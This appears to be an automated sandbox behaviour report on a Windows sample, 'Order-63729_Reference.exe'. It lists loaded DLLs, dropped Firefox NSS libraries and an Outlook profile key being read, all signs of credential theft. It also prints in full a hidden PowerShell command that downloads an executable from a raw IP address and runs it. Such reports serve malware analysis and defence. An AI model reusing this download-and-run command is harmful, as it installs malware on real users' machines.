Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Section loaded: propsys.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.4.dr
Source:	Binary string: ucrtbase.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.4.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.4.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.4.dr
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159524100.00000000036B8000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-private-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr
Source:	Binary string: msvcp140.i386.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.4.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.4.dr
Source:	Binary string: ucrtbase.pdbUGP source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.4.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.4.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.4.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.4.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.4.dr
Source:	Binary string: vcruntime140.i386.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.4.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-timezone-l1-1-0.dll.4.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.4.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.4.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.4.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.4.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: Order-63729_Reference.exe, 00000004.00000003.2159446497.00000000036BC000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-string-l1-1-0.dll.4.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe			Jump to behavior

Source: api-ms-win-crt-utility-l1-1-0.dll.4.dr

Static PE information: 0xFF35211E [Sun Sep 6 09:19:26 2105 UTC]

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Code function: 4_2_0040B15C LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

4_2_0040B15C

Source: msvcp140.dll.4.dr

Static PE information: section name: .didat

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00404BC0 push 00404C11h; ret	4_2_00404C09
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040D86E push 0040D89Ch; ret	4_2_0040D894
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040D870 push 0040D89Ch; ret	4_2_0040D894
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_004140C0 push 004140ECh; ret	4_2_004140E4
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_004108C8 push 004108F4h; ret	4_2_004108EC
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040B0F7 push 0040B124h; ret	4_2_0040B11C
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040B0F8 push 0040B124h; ret	4_2_0040B11C
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00408080 push 004080B8h; ret	4_2_004080B0
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00408158 push 00408196h; ret	4_2_0040818E
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00408970 push 004089E4h; ret	4_2_004089DC
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00408994 push 004089E4h; ret	4_2_004089DC
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_004089AC push 004089E4h; ret	4_2_004089DC
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00415208 push 0041528Ch; ret	4_2_00415284
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040CA0C push 0040CA3Ch; ret	4_2_0040CA34
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040CA10 push 0040CA3Ch; ret	4_2_0040CA34
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00417AEC push 00417B18h; ret	4_2_00417B10
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040D3C0 push 0040D3ECh; ret	4_2_0040D3E4
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040A3E4 push 0040A410h; ret	4_2_0040A408
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040C390 push 0040C3C0h; ret	4_2_0040C3B8
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040C394 push 0040C3C0h; ret	4_2_0040C3B8
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040A3AC push 0040A3D8h; ret	4_2_0040A3D0
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040DC44 push 0040DCA3h; ret	4_2_0040DC9B
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040DC0C push 0040DC38h; ret	4_2_0040DC30
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040B41E push 0040B44Ch; ret	4_2_0040B444
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040B420 push 0040B44Ch; ret	4_2_0040B444
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0040A438 push 0040A464h; ret	4_2_0040A45C
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0041A4F4 push 0041A51Ah; ret	4_2_0041A512
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00414C80 push 00414CACh; ret	4_2_00414CA4
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00409488 push 004094B8h; ret	4_2_004094B0
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_0041A4AC push 0041A4E8h; ret	4_2_0041A4E0
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: 4_2_00418CB8 push 00418CE8h; ret	4_2_00418CE0

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File created: C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
